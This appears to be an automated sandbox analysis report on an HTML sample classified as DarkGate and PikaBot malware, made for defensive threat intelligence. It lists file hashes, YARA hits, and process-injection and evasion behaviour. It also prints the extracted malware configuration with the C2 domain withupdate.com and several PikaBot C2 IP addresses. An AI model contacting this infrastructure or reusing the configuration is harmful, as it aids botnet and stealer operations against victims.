darkgate | 196bb36f7d63c845afd40c5c17ce061e320d110f28ebe8c7c998b9e6b3fe1005

Analysis

max time kernel
540s
max time network
605s
platform
windows10-1703_x64
resource
win10-20240221-en
resource tags

arch:x64arch:x86image:win10-20240221-enlocale:en-usos:windows10-1703-x64system
submitted
26-03-2024 21:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

196bb36f7d63c845afd40c5c17ce061e320d110f28ebe8c7c998b9e6b3fe1005.html
Size

3KB
MD5

ace67f099683c4360f442c58da66aeba
SHA1

2b90f1398b79331e8f853ddb004dcc87a1daf540
SHA256

196bb36f7d63c845afd40c5c17ce061e320d110f28ebe8c7c998b9e6b3fe1005
SHA512

02e2465e10ee581b04896dd77ee906542786b7662071befa9b6c07fca00862be063516030045fb29fdec1a68108aaf93cc30db24cd329776b1d316c9d7ca7073

Score

10^/10

darkgate pikabot admin888 botnet stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

withupdate.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
VqunyHFY
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Extracted

Family

pikabot

158.220.95.214

172.232.208.90

194.233.91.144

158.220.95.215

84.247.157.112

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/4584-203-0x0000000003140000-0x00000000031B3000-memory.dmp	family_darkgate_v6
behavioral1/memory/4584-205-0x0000000003140000-0x00000000031B3000-memory.dmp	family_darkgate_v6

PikaBot
PikaBot is a botnet that is distributed similarly to Qakbot and written in c++.
botnet pikabot

Blocklisted process makes network request 8 IoCs

Processes:

powershell.exeWScript.exeWScript.exe

flow	pid	process
78	4136	powershell.exe
80	4136	powershell.exe
81	4136	powershell.exe
82	4136	powershell.exe
84	1144	WScript.exe
86	1144	WScript.exe
89	1144	WScript.exe
91	4432	WScript.exe

Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

AutoHotkey.exevx.exevx.exe

pid process

4584 AutoHotkey.exe
2772 vx.exe
2648 vx.exe
Suspicious use of SetThreadContext 2 IoCs

Processes:

vx.exevx.exe

description pid process target process

PID 2772 set thread context of 3276 2772 vx.exe ctfmon.exe
PID 2648 set thread context of 4872 2648 vx.exe ctfmon.exe

pid	process
4584	AutoHotkey.exe
2772	vx.exe
2648	vx.exe

description	pid	process	target process
PID 2772 set thread context of 3276	2772	vx.exe	ctfmon.exe
PID 2648 set thread context of 4872	2648	vx.exe	ctfmon.exe

Drops file in Windows directory 4 IoCs

Processes:

MicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exe

description	ioc	process
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

AutoHotkey.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

Processes:

browser_broker.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe

Modifies registry class 64 IoCs

Processes:

MicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "1"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 05ac8eb6c47fda01	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 57be9c9dc47fda01	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "395205405"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Disallowed\Certificates	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DeviceId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\ACGStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Disallowed\CTLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI\IsSignedIn = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root\CTLs	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = d56beb9dc47fda01	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = b896d0a6c47fda01	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$http://www.typepad.com/	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\Content	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root\CRLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{A8A88C49-5EB2-4990-A1A2-087602 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA\CRLs	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "268435456"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\CRLs	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\PrivacyAdvanced = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\EnablementState = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\History\CacheLimit = "1"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\History	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust\CRLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify	MicrosoftEdge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exevx.exe

pid	process
4136	powershell.exe
4136	powershell.exe
4136	powershell.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe
2772	vx.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

vx.exevx.exe

pid process

2772 vx.exe
2648 vx.exe
Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

MicrosoftEdgeCP.exe

pid process

796 MicrosoftEdgeCP.exe
796 MicrosoftEdgeCP.exe
796 MicrosoftEdgeCP.exe
796 MicrosoftEdgeCP.exe
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

Processes:

vx.exevx.exe

pid process

2772 vx.exe
2648 vx.exe

pid	process
2772	vx.exe
2648	vx.exe

pid	process
796	MicrosoftEdgeCP.exe
796	MicrosoftEdgeCP.exe
796	MicrosoftEdgeCP.exe
796	MicrosoftEdgeCP.exe

pid	process
2772	vx.exe
2648	vx.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

MicrosoftEdgeCP.exeMicrosoftEdgeCP.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	704	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	704	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	704	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	704	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	3424	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	3424	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	3424	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	4136	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

pid process

4824 MicrosoftEdge.exe
796 MicrosoftEdgeCP.exe
704 MicrosoftEdgeCP.exe
796 MicrosoftEdgeCP.exe

pid	process
4824	MicrosoftEdge.exe
796	MicrosoftEdgeCP.exe
704	MicrosoftEdgeCP.exe
796	MicrosoftEdgeCP.exe

Suspicious use of WriteProcessMemory 32 IoCs

Processes:

MicrosoftEdgeCP.exeWScript.exepowershell.exeWScript.exevx.exeWScript.exevx.exe

description	pid	process	target process
PID 796 wrote to memory of 3424	796	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 796 wrote to memory of 3424	796	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 796 wrote to memory of 3424	796	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 3260 wrote to memory of 4136	3260	WScript.exe	powershell.exe
PID 3260 wrote to memory of 4136	3260	WScript.exe	powershell.exe
PID 4136 wrote to memory of 4584	4136	powershell.exe	AutoHotkey.exe
PID 4136 wrote to memory of 4584	4136	powershell.exe	AutoHotkey.exe
PID 4136 wrote to memory of 4584	4136	powershell.exe	AutoHotkey.exe
PID 4136 wrote to memory of 3080	4136	powershell.exe	attrib.exe
PID 4136 wrote to memory of 3080	4136	powershell.exe	attrib.exe
PID 1144 wrote to memory of 2772	1144	WScript.exe	vx.exe
PID 1144 wrote to memory of 2772	1144	WScript.exe	vx.exe
PID 1144 wrote to memory of 2772	1144	WScript.exe	vx.exe
PID 2772 wrote to memory of 3276	2772	vx.exe	ctfmon.exe
PID 2772 wrote to memory of 3276	2772	vx.exe	ctfmon.exe
PID 2772 wrote to memory of 3276	2772	vx.exe	ctfmon.exe
PID 2772 wrote to memory of 3276	2772	vx.exe	ctfmon.exe
PID 2772 wrote to memory of 3276	2772	vx.exe	ctfmon.exe
PID 2772 wrote to memory of 3276	2772	vx.exe	ctfmon.exe
PID 2772 wrote to memory of 3276	2772	vx.exe	ctfmon.exe
PID 2772 wrote to memory of 3276	2772	vx.exe	ctfmon.exe
PID 4432 wrote to memory of 2648	4432	WScript.exe	vx.exe
PID 4432 wrote to memory of 2648	4432	WScript.exe	vx.exe
PID 4432 wrote to memory of 2648	4432	WScript.exe	vx.exe
PID 2648 wrote to memory of 4872	2648	vx.exe	ctfmon.exe
PID 2648 wrote to memory of 4872	2648	vx.exe	ctfmon.exe
PID 2648 wrote to memory of 4872	2648	vx.exe	ctfmon.exe
PID 2648 wrote to memory of 4872	2648	vx.exe	ctfmon.exe
PID 2648 wrote to memory of 4872	2648	vx.exe	ctfmon.exe
PID 2648 wrote to memory of 4872	2648	vx.exe	ctfmon.exe
PID 2648 wrote to memory of 4872	2648	vx.exe	ctfmon.exe
PID 2648 wrote to memory of 4872	2648	vx.exe	ctfmon.exe

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

3080 attrib.exe

pid	process
3080	attrib.exe

C:\Windows\system32\LaunchWinApp.exe
"C:\Windows\system32\LaunchWinApp.exe" "C:\Users\Admin\AppData\Local\Temp\196bb36f7d63c845afd40c5c17ce061e320d110f28ebe8c7c998b9e6b3fe1005.html"
1⤵
PID:2244

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4824

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
